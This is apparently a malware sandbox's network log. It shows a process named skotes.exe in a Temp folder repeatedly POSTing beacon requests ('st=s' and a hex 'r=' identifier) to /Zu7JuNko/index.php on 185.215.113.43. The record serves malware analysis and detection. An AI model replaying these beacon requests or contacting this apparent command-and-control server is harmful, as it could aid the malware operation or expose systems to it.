Nov 21, 2024 03:11:58.676410913 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:12:00.062100887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50272	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:01.693937063 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:12:03.084356070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50275	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:04.836395979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:12:06.237268925 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50278	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:07.871670961 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:12:09.306482077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50282	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:11.051552057 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:12:12.436444044 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50285	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:14.069705963 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:12:15.459428072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50288	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:17.208343983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:12:18.564467907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50291	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:20.206252098 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:12:21.551335096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50294	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:23.291230917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:12:24.645458937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50297	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:26.282506943 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:12:27.641041040 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50300	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:29.381792068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:12:30.743503094 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50303	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:32.380628109 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:12:33.777098894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50306	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:35.524173975 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:12:36.954351902 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50309	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:38.580295086 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:12:40.032854080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50312	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:41.779670954 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:12:43.185779095 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50315	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:44.819242954 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:12:46.224214077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50318	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:47.958412886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:12:49.296386957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50321	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:50.938093901 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:12:52.391160965 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50324	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:54.141552925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:12:55.479131937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50328	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:12:57.119174957 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:12:58.525933027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:12:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50331	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:00.275216103 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:13:01.727643013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50334	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:03.371453047 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:13:04.761316061 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50337	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:06.509375095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:13:07.894824982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50340	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
